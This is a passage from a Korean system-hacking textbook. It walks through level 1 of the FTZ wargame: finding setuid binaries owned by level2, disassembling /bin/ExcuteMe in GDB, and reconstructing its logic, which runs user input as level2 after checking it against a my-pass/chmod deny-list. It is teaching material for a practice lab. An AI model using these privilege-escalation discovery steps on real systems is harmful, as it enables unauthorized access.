레벨 1에서는 이러한 백도어 가운데 로컬 셸 백도어를 소개한다. 컴퓨터 세계에서는 어떻게

내가 타인인 척 할 수 있는지 함께 확인해 보자.

01 문제 파악

먼저 문제와 관련된 서버의 파일 구조를 파악해 보자.

login: level1

Password:

Last login: Wed Jun 1 19:17:31 from c-24-91-31-16.hsd1.ma.comcast.net

[level1@ftz level1]$ ls -l

합계88

drwxr-xr-x4rootlevel140961월162009.

drwxr-xr-x44rootroot40961월152009..

-rw-r--r--1rootroot474월42000hint

drwxr-xr-x2rootlevel1409612월72003public_html

drwxrwxr-x2rootlevel140966월112:37tmp

[level1@ftz level1]$

hint라는 파일과 public_html, tmp라는 디렉터리가 있다. 먼저 hint 파일의 내용을 확인하자.

[level1@ftz level1]$ cat hint

level2권한에setuid가걸린파일을찾는다.

[level1@ftz level1]$

01 _ 백도어란 무엇인가? 31

hint 파일에는 문제의 힌트가 들어 있다. 즉, 취약점에 대한 힌트를 제공하는 파일로서, 각

레벨별로 반드시 읽어야 하는 파일이다.

다음으로 public_html 디렉터리를 확인해 보자.

[level1@ftzlevel1]$cdpublic_html/

[level1@ftzpublic_html]$ls-l

합계4

-rw-rw-r-- 1 root level115월3113:14index.html

[level1@ftzpublic_html]$catindex.html

[level1@ftzpublic_html]$

내용이 없는 index.html이라는 웹페이지 파일이 있다. 하지만 level1 계정에서 읽고 쓸 수

있는(rw-) 권한이 있으므로 다음과 같이 파일을 수정할 수 있다.

[level1@ftzpublic_html]$echo"<p><center><fontsize=10>IamsuperdkasR.O.K.Hacker^^</

font></center></p>" > index.html

[level1@ftzpublic_html]$catindex.html

<p><center><fontsize=10>IamsuperdkasR.O.K.Hacker^^</font></center></p>

[level1@ftzpublic_html]$

이어서 아무 내용이나 적은 다음 웹페이지에 어떻게 보이는지 웹브라우저로 확인해 보자.

그림 1.1 계정별 웹페이지 샘플

32 문제 풀이로 배우는 시스템 해킹 테크닉

그림 1.1과 같이 자신이 적은 글을 볼 수 있다. 이 페이지는 문제를 풀면서 자신이 해당 레

벨에 올랐다는 것을 자랑할 수 있는 게시판 같은 공간이라고 생각하면 된다. 저자의 경우

index.html이 비어 있었기에 아무 상관이 없었지만 기존에 내용이 들어 있다면 삭제하거나

덮어쓰지 않고 거기에 덧붙이는 매너를 보여주자.

그런데 최근 들어 그림 1.1에 나온 웹페이지 서비스가 중지된 것 같으므로 페이지가 표시되지

않더라도 당황하지 않기를 바란다. 운영자가 해당 웹서비스를 중지한 것으로 보인다.

마지막으로, tmp 디렉터리를 보자. 권한은 public_html 디렉터리와 동일하게 level1 계정

이 읽고 쓸 수 있게(rw-) 돼 있다. 디렉터리 안을 살펴보면 아래와 같이 비어 있음을 알 수

있다.

[level1@ftz level1]$ ls -l tmp

합계0

[level1@ftz level1]$

이를 토대로 tmp 디렉터리는 공격에 필요한 소스코드를 작성하거나 메모를 남기는 것과 같

이 개인적인 작업을 하는 공간임을 알 수 있다.

이로써 문제 풀이를 위한 서버의 개략적인 환경을 파악했으니 이제 문제를 풀어보자.

02 문제 분석

문제 풀이를 위한 힌트가 있는 hint 파일을 보면 이번 레벨에서는 level1은 물론이고, level2

와도 관계가 있는 백도어를 찾아 level2 권한을 얻으면 된다는 사실을 추측할 수 있다. 참고

로 이러한 권한 문제는 유닉스 시스템에서 상식적인 부분에 해당하므로 굳이 자세히 설명하

지는 않겠다.

level2 권한의 백도어란 level2 계정의 소유이고, 다른 계정으로 그룹 권한이 부여돼 있는

SetUID(이후 SUID로 표기)와 SetGID(이후 SGID로 표기)가 설정돼 있어야 한다는 의미다.

우선 우리가 공격해야 할 대상 파일을 찾아야 하므로 find 명령어를 이용해서 찾는 방법을

먼저 알아 보자.

01 _ 백도어란 무엇인가? 33

[level1@ftz level1]$ find / -perm +6000 -user level2 2> /dev/null

/bin/ExcuteMe

[level1@ftz level1]$ ls -al /bin/ExcuteMe

-rwsr-sr-x1level2level1236253월292003/bin/ExcuteMe

[level1@ftz level1]$

위의 find 명령어에서 -perm +6000 옵션은 level2 권한과 level1의 그룹 권한 중 하나라

도 SUID나 SGID가 설정된 파일을 찾는다는 의미다. 참고로 -perm -6000은 level2 권한

과 level1 의 그룹 권한에 모두 SUID나 SGID가 설정된 파일을 찾는 옵션이다. 그리고 2> /

dev/null 옵션은 검색 결과 중에서 에러가 발생한 결과를 버리겠다는 뜻이다. 셸에서 숫자 1

은 표준출력(STDOUT)이고, 2는 표준에러(STDERR)를 의미한다. 그리고 /dev/null은 윈

도우 운영체제에 있는 휴지통이라고 이해하면 된다. 그러므로 검색결과 중에서 표준에러는

휴지통으로 버리고, 표준출력 내용만 출력하게 되므로 실행 아래의 검색 결과와 같이 검색에

성공한 /bin/ExcuteMe 하나만 검색됐다.

참고로 표준출력과 표준에러라는 용어가 낯선 독자를 위해 표준에러를 함께 출력하는 화면

을 보면 아래와 같이 원하지 않는 검색 결과까지 나오기 때문에 원하는 검색 내용을 눈으로

다시 찾아야 하는 번거로움이 있어 위와 같이 표준에러를 제외한 검색 결과만을 보는 것이

유리하다.

[level1@ftz level1]$ find / -perm +6000 -user level2

find:/lost+found:허가거부됨

find:/boot/lost+found:허가거부됨

find:/proc/tty/driver:허가거부됨

find:/proc/1/fd:허가거부됨

find:/proc/2/fd:허가거부됨

find:/proc/3/fd:허가거부됨

find:/proc/4/fd:허가거부됨

find:/proc/5/fd:허가거부됨

find:/proc/6/fd:허가거부됨

find:/proc/7/fd:허가거부됨

find:/proc/8/fd:허가거부됨

find:/proc/16/fd:허가거부됨

find:/proc/616/fd:허가거부됨

find:/proc/902/fd:허가거부됨

find:/proc/950/fd:허가거부됨

34 문제 풀이로 배우는 시스템 해킹 테크닉

find:/proc/954/fd:허가거부됨

find:/proc/972/fd:허가거부됨

find:/proc/1059/fd:허가거부됨

find:/proc/1096/fd:허가거부됨

find:/proc/1110/fd:허가거부됨

find:/proc/1143/fd:허가거부됨

find:/proc/1152/fd:허가거부됨

find:/proc/1210/fd:허가거부됨

find:/proc/1237/fd:허가거부됨

find:/proc/1276/fd:허가거부됨

find:/proc/1279/fd:허가거부됨

find:/proc/1282/fd:허가거부됨

find:/proc/1283/fd:허가거부됨

find:/proc/1288/fd:허가거부됨

find:/proc/1289/fd:허가거부됨

find:/proc/1331/fd:허가거부됨

find:/proc/1335/fd:허가거부됨

find:/proc/1344/fd:허가거부됨

find:/proc/1345/fd:허가거부됨

find:/proc/1346/fd:허가거부됨

find:/proc/1347/fd:허가거부됨

find:/proc/1348/fd:허가거부됨

find:/proc/1349/fd:허가거부됨

find:/proc/2654/fd:허가거부됨

find:/proc/8632/fd:허가거부됨

find:/proc/10414/fd:허가거부됨

find:/proc/10415/fd:허가거부됨

find:/proc/10416/fd:허가거부됨

find:/proc/10647/fd:허가거부됨

find:/proc/10648/fd:허가거부됨

find:/proc/10915/fd:허가거부됨

find:/proc/10916/fd:허가거부됨

find:/proc/10955/fd:허가거부됨

find:/proc/10956/fd:허가거부됨

find:/proc/10959/fd:허가거부됨

find:/proc/11002/fd:허가거부됨

find:/proc/11073/fd:허가거부됨

find:/proc/11076/fd:허가거부됨

find:/proc/11077/fd:허가거부됨

find:/proc/11112/fd:허가거부됨

find:/proc/11113/fd:허가거부됨

01 _ 백도어란 무엇인가? 35

find:/var/lib/slocate:허가거부됨

find:/var/lib/nfs/statd:허가거부됨

find:/var/lib/dav:허가거부됨

find:/var/lib/mysql/mysql:허가거부됨

find:/var/lib/mysql/test:허가거부됨

find:/var/lib/pgsql:허가거부됨

find:/var/log/httpd:허가거부됨

find:/var/log/squid:허가거부됨

find:/var/log/samba:허가거부됨

find:/var/cache/mod_ssl:허가거부됨

find:/var/cache/alchemist/printconf.rpm:허가거부됨

find:/var/cache/alchemist/printconf.local:허가거부됨

find:/var/run/sudo:허가거부됨

find:/var/spool/at:허가거부됨

find:/var/spool/clientmqueue:허가거부됨

find:/var/spool/mqueue:허가거부됨

find:/var/spool/cron:허가거부됨

find:/var/spool/squid:허가거부됨

find:/var/empty/sshd:허가거부됨

find:/var/tux:허가거부됨

find:/etc/sysconfig/pgsql:허가거부됨

find:/etc/default:허가거부됨

find:/etc/httpd/conf/ssl.crl:허가거부됨

find:/etc/httpd/conf/ssl.crt:허가거부됨

find:/etc/httpd/conf/ssl.csr:허가거부됨

find:/etc/httpd/conf/ssl.key:허가거부됨

find:/etc/httpd/conf/ssl.prm:허가거부됨

find:/root:허가거부됨

find:/usr/share/ssl/CA:허가거부됨

/bin/ExcuteMe

find:/home/sshd:허가거부됨

find:/home/clear:허가거부됨

find:/home/dotri:허가거부됨

find:/home/hs4_chat:허가거부됨

find:/home/level10/program:허가거부됨

find:/home/level5/tmp:허가거부됨

find:/home/mud:허가거부됨

find:/home/mysql:허가거부됨

find:/home/realhack:허가거부됨

find:/home/sexyguta:허가거부됨

find:/home/socket:허가거부됨

36 문제 풀이로 배우는 시스템 해킹 테크닉

find:/home/test:허가거부됨

find:/home/trainer1:허가거부됨

find:/home/trainer10:허가거부됨

find:/home/trainer2:허가거부됨

find:/home/trainer3:허가거부됨

find:/home/trainer4:허가거부됨

find:/home/trainer5:허가거부됨

find:/home/trainer6:허가거부됨

find:/home/trainer7:허가거부됨

find:/home/trainer8:허가거부됨

find:/home/trainer9:허가거부됨

[level1@ftz level1]$

아울러 find 명령어는 유용한 기능이 많은 상당히 강력한 툴이므로 다양한 사용법을 익히길

바라며, 여기서 유용한 기능 하나를 소개하겠다.

다음은 앞에서 한 바와 같이 find 명령어를 이용해 파일을 검색한 후 검색 결과를 바탕으로

다시 “ls –l 명령어”를 실행하는 번거로움을 없애기 위해 두 번의 명령어 입력을 하나로 줄이

는 유용한 기능을 보여준다.

아래의 명령어를 처음 보는 독자를 위해서 부연 설명을 하면, –exec 옵션 앞에서 검색한 검

색 결과가 –exec 옵션 다음에 있는 {} 에 들어간다고 생각하면 명령어를 이해하기 쉬울 것

이다.

[level1@ftz level1]$ find / -perm +6000 -user level2 -exec ls -l {} \; 2> /dev/null

-rwsr-sr-x1level2level1236253월292003/bin/ExcuteMe

[level1@ftz level1]$ find / -perm -6000 -user level2 -exec ls -l {} \; 2> /dev/null

-rwsr-sr-x1level2level1236253월292003/bin/ExcuteMe

[level1@ftz level1]$

이제 대상 파일을 찾았으므로 대상 바이너리가 어떻게 만들어져 있는지 디스어셈블을 통해

리버싱해 보자.

01 _ 백도어란 무엇인가? 37

리버싱을 통한 의사 코드 복원

여기서는 취약점이 있는 공격 대상 파일을 리버싱을 통해 분석함으로써 소스코드를 의사 코

드 형태로 복원해 보겠다.

여기서 의사 코드라고 부르는 이유는 소스코드를 복원할 때 배열의 크기나 분기문이 switch

문으로 돼 있는지 if 문으로 돼 있는지와 같은 부분에 대해 임의로 단순하게 복원하기 때문에

실제 소스코드와는 약간 다를 수 있기 때문이다.

다음 레벨부터도 의사 코드 복원이 필요한 경우에는 지금 진행하려고 하는 분석 과정을 반복

하게 될 것이므로 기본적인 리버싱에 익숙해지길 바란다.

GDB를 이용한 소스코드 분석

GDB 툴을 이용하면 원본 소스코드를 복원할 수 있으므로 이 툴을 이용해 바이너리를 분석

해 보겠다.

만일 gdb를 이용한 디버깅이 처음이라 진도가 안나가는 독자면 레벨 9에 나오는 기본 사용

법을 참고하면 속도를 높일 수 있을 것이다.

[level1@ftz level1]$ gdb /bin/ExcuteMe

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048560 <main+0>: push %ebp

0x08048561 <main+1>: mov %esp,%ebp

0x08048563 <main+3>: sub $0x28,%esp

0x08048566 <main+6>: sub $0xc,%esp

0x08048569 <main+9>: push $0x8048720

0x0804856e <main+14>: call 0x80483d0 <system>

38 문제 풀이로 배우는 시스템 해킹 테크닉

0x08048573 <main+19>: add $0x10,%esp

0x08048576 <main+22>: sub $0xc,%esp

0x08048579 <main+25>: push $0x8048726

0x0804857e <main+30>: call 0x8048400 <chdir>

0x08048583 <main+35>: add $0x10,%esp

0x08048586 <main+38>: sub $0xc,%esp

0x08048589 <main+41>: push $0x8048740

0x0804858e <main+46>: call 0x8048430 <printf>

0x08048593 <main+51>: add $0x10,%esp

0x08048596 <main+54>: sub $0xc,%esp

0x08048599 <main+57>: push $0x8048780

0x0804859e <main+62>: call 0x8048430 <printf>

0x080485a3 <main+67>: add $0x10,%esp

0x080485a6 <main+70>: sub $0xc,%esp

0x080485a9 <main+73>: push $0x80487c0

0x080485ae <main+78>: call 0x8048430 <printf>

0x080485b3 <main+83>: add $0x10,%esp

---Type <return> to continue, or q <return> to quit---

0x080485b6 <main+86>: sub $0xc,%esp

0x080485b9 <main+89>: push $0x8048800

0x080485be <main+94>: call 0x8048430 <printf>

0x080485c3 <main+99>: add $0x10,%esp

0x080485c6 <main+102>: sub $0xc,%esp

0x080485c9 <main+105>: push $0x8048822

0x080485ce <main+110>: call 0x8048430 <printf>

0x080485d3 <main+115>: add $0x10,%esp

0x080485d6 <main+118>: sub $0x4,%esp

0x080485d9 <main+121>: pushl 0x8049a04

0x080485df <main+127>: push $0x1d

0x080485e1 <main+129>: lea 0xffffffd8(%ebp),%eax

0x080485e4 <main+132>: push %eax

0x080485e5 <main+133>: call 0x80483f0 <fgets>

0x080485ea <main+138>: add $0x10,%esp

0x080485ed <main+141>: sub $0x8,%esp

0x080485f0 <main+144>: push $0x804883c

0x080485f5 <main+149>: lea 0xffffffd8(%ebp),%eax

0x080485f8 <main+152>: push %eax

0x080485f9 <main+153>: call 0x8048410 <strstr>

0x080485fe <main+158>: add $0x10,%esp

0x08048601 <main+161>: mov %eax,%eax

0x08048603 <main+163>: test %eax,%eax

01 _ 백도어란 무엇인가? 39

0x08048605 <main+165>: je 0x8048624 <main+196>

---Type <return> to continue, or q <return> to quit---

0x08048607 <main+167>: sub $0xc,%esp

0x0804860a <main+170>: push $0x8048860

0x0804860f <main+175>: call 0x8048430 <printf>

0x08048614 <main+180>: add $0x10,%esp

0x08048617 <main+183>: sub $0xc,%esp

0x0804861a <main+186>: push $0x0

0x0804861c <main+188>: call 0x8048450 <exit>

0x08048621 <main+193>: lea 0x0(%esi),%esi

0x08048624 <main+196>: sub $0x8,%esp

0x08048627 <main+199>: push $0x8048888

0x0804862c <main+204>: lea 0xffffffd8(%ebp),%eax

0x0804862f <main+207>: push %eax

0x08048630 <main+208>: call 0x8048410 <strstr>

0x08048635 <main+213>: add $0x10,%esp

0x08048638 <main+216>: mov %eax,%eax

0x0804863a <main+218>: test %eax,%eax

0x0804863c <main+220>: je 0x8048658 <main+248>

0x0804863e <main+222>: sub $0xc,%esp

0x08048641 <main+225>: push $0x80488a0

0x08048646 <main+230>: call 0x8048430 <printf>

0x0804864b <main+235>: add $0x10,%esp

0x0804864e <main+238>: sub $0xc,%esp

0x08048651 <main+241>: push $0x0

0x08048653 <main+243>: call 0x8048450 <exit>

---Type <return> to continue, or q <return> to quit---

0x08048658 <main+248>: sub $0xc,%esp

0x0804865b <main+251>: push $0x80488c6

0x08048660 <main+256>: call 0x8048430 <printf>

0x08048665 <main+261>: add $0x10,%esp

0x08048668 <main+264>: sub $0x8,%esp

0x0804866b <main+267>: push $0xbba

0x08048670 <main+272>: push $0xbba

0x08048675 <main+277>: call 0x8048440 <setreuid>

0x0804867a <main+282>: add $0x10,%esp

0x0804867d <main+285>: sub $0xc,%esp

0x08048680 <main+288>: lea 0xffffffd8(%ebp),%eax

0x08048683 <main+291>: push %eax

0x08048684 <main+292>: call 0x80483d0 <system>

0x08048689 <main+297>: add $0x10,%esp

40 문제 풀이로 배우는 시스템 해킹 테크닉

0x0804868c <main+300>: leave

0x0804868d <main+301>: ret

0x0804868e <main+302>: mov %esi,%esi

End of assembler dump.

(gdb)

출력 결과를 통해 프로그램의 실행 흐름을 간략하게 설명하면 다음과 같다.

1�스택을구성한다�

2�system()함수로명령어를실행한다�

3�chdir()함수로디렉터리를이동한다�

4�printf()함수를이용해문자열을출력한다�

5�fgets()함수를이용해사용자로부터입력을받는다�

6�strstr()함수를이용해5번과정에서입력받은문자열을금지명령어인my-pass,chmod와비교한다�

7�5번에서입력받은문자열이금지명령어(my-pass,chmod)가아닌경우실행루틴으로넘어간다�

8�setreuid(3002,3002)함수를이용해실행되는파일의UserID권한을level2계정으로설정한다�

9�system()함수를이용해서입력받은문자열을리눅스의명령어로실행한다�

이 경우 입력받은 문자열이 리눅스에 있는 명령어라면 실행될 것이고, 리눅스에 있는 임의의

문자열이라면 당연히 명령어가 없다는 에러 메시지가 출력될 것이다. 그럼 어떤 명령어를 입

력하면 다음 레벨인 level2의 권한을 얻을 수 있을까? 이 질문의 답은 내용을 진행해 나가면

서 천천히 알아보자.

참고로 chmod를 차단한 것은 권한 변경을 막기 위한 것이고, my-pass를 차단한 것은 백

도어 셸이 실행된 level2 권한에서 쉽게 level2의 패스워드를 볼 수 없게 함으로써 난이도를

조금 더 높인 것으로 볼 수 있다.

그럼 이번에는 GDB로 디스어셈블한 결과를 토대로 소스코드를 차근차근 복원해 보자.

먼저 아래는 함수에 진입하면서 스택을 구성하는 과정이다. 이 부분에 대해서는 Aleph

One의 『Smashing The Stack For Fun And Profit』 문서에서 “procedure prelude”라

는 제목으로 잘 설명돼 있으니 반드시 읽고 이해해야 하며, 여기서 간략하게 설명하자면

“procedure prelude”란 함수로 진입하면서 함수로 진입하기 전의 스택 포인터(SP)의 위치

를 저장한 다음 지역변수에서 사용할 공간을 스택에 확보하는 과정을 의미한다.

01 _ 백도어란 무엇인가? 41

0x08048560 <main+0>: push %ebp

0x08048561 <main+1>: mov %esp,%ebp

0x08048563 <main+3>: sub $0x28,%esp

0x08048566 <main+6>: sub $0xc,%esp

여기서 핵심적인 부분만 간단하게 설명하면 다음과 같다.

1)<main+0>:main()함수로진입하기전의EBP(메모리구조)의주소를스택에저장

2)<main+1>:현재의스택포인터(ESP)를스택의베이스포인터(EBP)에저장

•다음단계에서ESP를사용하므로값을지우지않기위해1)단계에서먼저저장

3)<main+3>과<main+6>:main()함수에서사용할변수의공간을확보

물리 주소 메모리 세그먼트 저장 데이터 실제 데이터

0x000000 Text (=Code) 소스코드

#include <stdio.h>int main( ){ char input[29]; char denyMyPass[] = "my-pass"; char denyChmod[] = "chmod";…이하생략…}

� Data전역,const,static변수,초기화된

변수char denyMyPass[] = "my-pass";char denyChmod[] = "chmod";

� BSS 초기화되지 않은 변수 char input[29];

� Heap 동적 메모리

� 힙과 스택의 여분 공간변수가 늘어날 경우 힙과 스택의 시작점

사이에 있는 이 공간에 할당

0xffffffff Stack 지역변수char denyChmod[] = "chmod";char denyMyPass[] = "my-pass";char input[29];

그림 1.2 메모리 구조

물론 그림 1.2는 여러분의 이해를 돕고자 억지스럽게 표현한 그림임을 유의하기 바란다. 예

를 들면, BSS 세그먼트에 그림에서와 같이 int outVal과 같이 소스코드로 직접 저장되지는

않는다. 다만 그림 1.2와 같이 자신이 분석해야 할 소스의 개념도를 직접 그릴 수 있으면

된다.

42 문제 풀이로 배우는 시스템 해킹 테크닉

다음으로 그림 1.3과 같이 “clear”라는 문자열을 스택에 올리고, system( ) 함수를 호출한다.

즉, system(“clear”)라는 코드를 실행해서 서버에서 clear 명령어를 실행해 화면을 지운다.

0x08048569 <main+9>: push $0x8048720

0x0804856e <main+14>: call 0x80483d0 <system>

0x08048573 <main+19>: add $0x10,%esp

0x08048576 <main+22>: sub $0xc,%esp

(gdb) x/s 0x8048720

0x8048720<_IO_stdin_used+28>:"clear"

주소

0x8048720

clear

스택

0x8048720

그림 1.3 문자열의 메모리 구성

이어서 그림 1.4.1과 같이 “/home/level2”라는 문자열을 스택에 올리고, chdir( ) 함수를 호

출한다. 즉, chdir(“/home/level2”)이라는 코드가 실행되면서 서버에서 “/home/level2”로

디렉터리를 이동하게 된다.

0x08048573 <main+19>: add $0x10,%esp

0x08048576 <main+22>: sub $0xc,%esp

0x08048579 <main+25>: push $0x8048726

0x0804857e <main+30>: call 0x8048400 <chdir>

(gdb) x/s 0x8048726

0x8048726<_IO_stdin_used+34>:"/home/level2"

그림 1.4.1 문자열의 메모리 구성

값 스택주소

0x8048720 clear 0x8048726

0x8048726 /home/level2 0x8048720

01 _ 백도어란 무엇인가? 43

단, 여기서 그림 1.4.1의 스택을 표현한 그림은 PUSH가 일어날 때마다 증가하는 순서를

보여주는 그림이므로 정확하게 표현된 것은 아니다. 왜냐하면 앞의 <main+14>에서 call

system( )을 한 이후 다음 줄을 보면 ESP+0x10, ESP-0xc 연산을 하면서 스택 포인터를 조

절하기 때문이다. 좀 더 엄밀하게 표현하면 그림 1.4.3과 같다.

그림 1.4.2 문자열의 메모리 구성

하지만 그림 1.4.2와 같이 표현하면 코드에 따라 순차적으로 변하는 메모리의 구조를 이해하

기가 더욱 어려워지기 때문에 약간의 모순은 있지만 좀 더 이해하기 쉬운 방법을 택했으니

참고하길 바란다.

다음으로 그림 1.5와 같이 “\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n”

이라는 문자열을 스택에 올리고, printf( ) 함수를 호출한다. 즉, printf(“\n\n\n\t\t레

벨2의 권한으로 당신이 원하는 명령어를\n”)라는 코드가 실행되면서 화면에 해당 문자열이

출력된다.

0x08048583 <main+35>: add $0x10,%esp

0x08048586 <main+38>: sub $0xc,%esp

0x08048589 <main+41>: push $0x8048740

0x0804858e <main+46>: call 0x8048430 <printf>

0x08048593 <main+51>: add $0x10,%esp

0x08048596 <main+54>: sub $0xc,%esp

(gdb) x/s 0x8048740

0x8048740<_IO_stdin_used+60>:"\n\n\n\t\t레벨2의권한으로당신이원하는명령어를\n"

주소

0x8048720

0x8048720

clear

스택

0x8048726/home/level2

44 문제 풀이로 배우는 시스템 해킹 테크닉

이를 그림으로 나타내면 그림 1.5와 같다.

그림 1.5 문자열의 메모리 구성

이런 식으로 다음과 같이 나머지 부분도 모두 복원한다.

0x08048599 <main+57>: push $0x8048780

0x0804859e <main+62>: call 0x8048430 <printf>

(gdb) x/s 0x8048780

0x8048780<_IO_stdin_used+124>: "\t\t한가지실행시켜드리겠습니다.\n"

0x080485a3 <main+67>: add $0x10,%esp

0x080485a6 <main+70>: sub $0xc,%esp

0x080485a9 <main+73>: push $0x80487c0

0x080485ae <main+78>: call 0x8048430 <printf>

(gdb) x/s 0x80487c0

0x80487c0<_IO_stdin_used+188>: "\t\t(단,my-pass와chmod는제외)\n"

0x080485b3 <main+83>: add $0x10,%esp

0x080485b6 <main+86>: sub $0xc,%esp

0x080485b9 <main+89>: push $0x8048800

0x080485be <main+94>: call 0x8048430 <printf>

(gdb) x/s 0x8048800

0x8048800<_IO_stdin_used+252>: "\n\t\t어떤명령을실행시키겠습니까?\n"

0x080485c3 <main+99>: add $0x10,%esp

0x080485c6 <main+102>: sub $0xc,%esp

0x080485c9 <main+105 push $0x8048822

0x080485ce <main+110>: call 0x8048430 <printf>

주소

0x8048720

0x8048726

0x8048720

clear

스택

0x8048740

/home/level2

\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n

01 _ 백도어란 무엇인가? 45

(gdb) x/s 0x8048822

0x8048822<_IO_stdin_used+286>: "\n\n\t\t[level2@ftzlevel2]$

마찬가지로 이 부분 역시 그림으로 나타내면 그림 1.6과 같다.

그림 1.6 문자열의 메모리 구성

지금까지 복원한 내용을 그림 1.6과 같이 정리하면 /bin/ExcuteMe 파일을 실행했을 때 보

이는 화면을 출력한다는 사실을 알 수 있다.

그럼 지금까지 분석한 내용이 맞는지 /bin/ExcuteMe 파일을 실행해 보자.

[level1@ftz level1]$ /bin/ExcuteMe

레벨2의권한으로당신이원하는명령어를

한가지실행시켜드리겠습니다.

(단,my-pass와chmod는제외)

어떤명령을실행시키겠습니까?

[level2@ftz level2]$

보다시피 백도어 파일(/bin/ExcuteMe)을 실행해 보면 앞에서 화면 구성과 관련된 부분에

대한 분석이 정확하다는 사실을 알 수 있다. 그럼 이어서 계속 분석해 보자.

주소

0x8048720

0x8048780

0x8048726

0x80487c0

0x8048800

0x8048740

0x8048822

clear

스택

0x8048822

/home/level2

\n\n\n\t\t레벨2의권한으로당신이원하는명령어를\n

\t\t한가지실행시켜드리겠습니다.\n

\t\t(단,my-pass와chmod는제외)\n

\n\t\t어떤명령을실행시키겠습니까?\n

\n\n\t\t[level2@ftz level2]$

46 문제 풀이로 배우는 시스템 해킹 테크닉

0x080485d3 <main+115>: add $0x10,%esp

0x080485d6 <main+118>: sub $0x4,%esp

0x080485d9 <main+121>: pushl 0x8049a04

0x080485df <main+127>: push $0x1d

0x080485e1 <main+129>: lea 0xffffffd8(%ebp),%eax

0x080485e4 <main+132>: push %eax

0x080485e5 <main+133>: call 0x80483f0 <fgets>

(gdb) x/s 0x8049a04

0x8049a04<stdin@@GLIBC_2.0>: ""

그림 1.7 문자열의 메모리

분석한 내용을 그림 1.7과 같이 정리해 보면 “fgets(배열주소, 사이즈(29), STDIN)” 형태의

함수 호출이 일어나면서 앞에서 분석한 내용과 동일하게 셸에서 입력한 문자열이 그대로 메

모리에 들어가는 것을 볼 수 있다.

배열 주소에 입력값이 정확하게 들어가는지 확인해 보면 분석 내용이 정확하다는 것을 다시

한번 확인할 수 있다.

(gdb) b *0x080485ea

Breakpoint1at0x80485ea

(gdb) r

Starting program: /bin/ExcuteMe

레벨2의권한으로당신이원하는명령어를

한가지실행시켜드리겠습니다.

(단,my-pass와chmod는제외)

어떤명령을실행시키겠습니까?

주소

0x8049a04

$EBP-0xffffffd8

STDIN $EBP + 0x28

0x1d (29) 0x1d (29)

입력받은 값 0x8049a04

스택

01 _ 백도어란 무엇인가? 47

[level2@ftz level2]$ AAAAAAAAAAAA

Breakpoint1,0x080485eainmain()

(gdb) x/3x $ebp-40

0xbffffb00: 0x41414141 0x41414141 0x41414141

(gdb)

참고로 문자 A의 아스키값이 16진수 표현으로 0x41이기 때문에 메모리에 저장된 값은

0x41414141이다. 그럼 이어서 계속 분석해보자.

0x080485ea <main+138>: add $0x10,%esp

0x080485ed <main+141>: sub $0x8,%esp

0x080485f0 <main+144>: push $0x804883c

0x080485f5 <main+149>: lea 0xffffffd8(%ebp),%eax

0x080485f8 <main+152>: push %eax

0x080485f9 <main+153>: call 0x8048410 <strstr>

0x080485fe <main+158>: add $0x10,%esp

(gdb) x/s 0x804883c

0x804883c<_IO_stdin_used+312>: "my-pass"

0x08048601 <main+161>: mov %eax,%eax

0x08048603 <main+163>: test %eax,%eax

0x08048605 <main+165>: je 0x8048624 <main+196>

0x08048607 <main+167>: sub $0xc,%esp

0x0804860a <main+170>: push $0x8048860

0x0804860f <main+175>: call 0x8048430 <printf>

(gdb) x/s 0x8048860

0x8048860<_IO_stdin_used+348>: "\n\t\tmy-pass명령은사용할수없습니다.\n\n"

0x08048614 <main+180>: add $0x10,%esp

0x08048617 <main+183>: sub $0xc,%esp

0x0804861a <main+186>: push $0x0

0x0804861c <main+188>: call 0x8048450 <exit>

48 문제 풀이로 배우는 시스템 해킹 테크닉

그림 1.8은 앞에서 분석한 내용을 그림으로 나타낸 것이다.

그림 1.8 문자열의 메모리 구성

이 부분은 그림 1.8과 같이 생각할 수 있다. 여기서는 셸에서 입력한 명령어가 my-pass인지

비교해서 다르면 chmod인지 비교하는 루틴이 있는 <main+196>으로 보내고, my-pass이

면 my-pass 명령어를 입력할 수 없다는 에러 메시지를 출력하고 exit(0) 함수를 이용해 프

로그램의 실행을 종료한다.

0x08048621 <main+193>: lea 0x0(%esi),%esi

0x08048624 <main+196>: sub $0x8,%esp

0x08048627 <main+199>: push $0x8048888

0x0804862c <main+204>: lea 0xffffffd8(%ebp),%eax

0x0804862f <main+207>: push %eax

0x08048630 <main+208>: call 0x8048410 <strstr>

(gdb) x/s 0x8048888

0x8048888<_IO_stdin_used+388>: "chmod"

0x08048635 <main+213>: add $0x10,%esp

0x08048638 <main+216>: mov %eax,%eax

0x0804863a <main+218>: test %eax,%eax

0x0804863c <main+220>: je 0x8048658 <main+248>

0x0804863e <main+222>: sub $0xc,%esp

0x08048641 <main+225>: push $0x80488a0

0x08048646 <main+230>: call 0x8048430 <printf>

(gdb) x/s 0x80488a0

0x80488a0<_IO_stdin_used+412>: "\n\t\tchmod명령은사용할수없습니다.\n\n"

주소

0x804883c my-pass $EBP + 0x28

$EBP-0xffffffd8 입력받은 값 0x804883c

값 스택

01 _ 백도어란 무엇인가? 49

0x0804864b <main+235>: add $0x10,%esp

0x0804864e <main+238>: sub $0xc,%esp

0x08048651 <main+241>: push $0x0

0x08048653 <main+243>: call 0x8048450 <exit>

마찬가지로 복원한 내용을 그림으로 나타내면 그림 1.9와 같다.

그림 1.9 문자열의 메모리 구성

이 부분은 그림 1.9와 같이 이해할 수 있다. 즉, 셸에서 입력한 명령어가 chmod인지 비교

해 다르면 입력값을 명령어로 실행하는 루틴이 있는 <main+248>로 보내고, chmod이면

chmod 명령어를 입력할 수 없다는 에러 메시지를 출력하고 exit(0) 함수를 이용해 프로그램

실행을 종료한다.

그럼 나머지 부분도 마저 분석해 보자.

0x08048658 <main+248>: sub $0xc,%esp

0x0804865b <main+251>: push $0x80488c6

0x08048660 <main+256>: call 0x8048430 <printf>

(gdb) x/s 0x80488c6

0x80488c6<_IO_stdin_used+450>: "\n\n"

이 부분을 그림으로 나타내면 그림 1.10과 같다.

그림 1.10 문자열의 메모리 구성

주소

0x8048888 chmod $EBP + 0x28

$EBP-0xffffffd8 입력받은 값 0x8048888

값 스택

주소

0x80488c6 \n\n 0x80488c6

값 스택

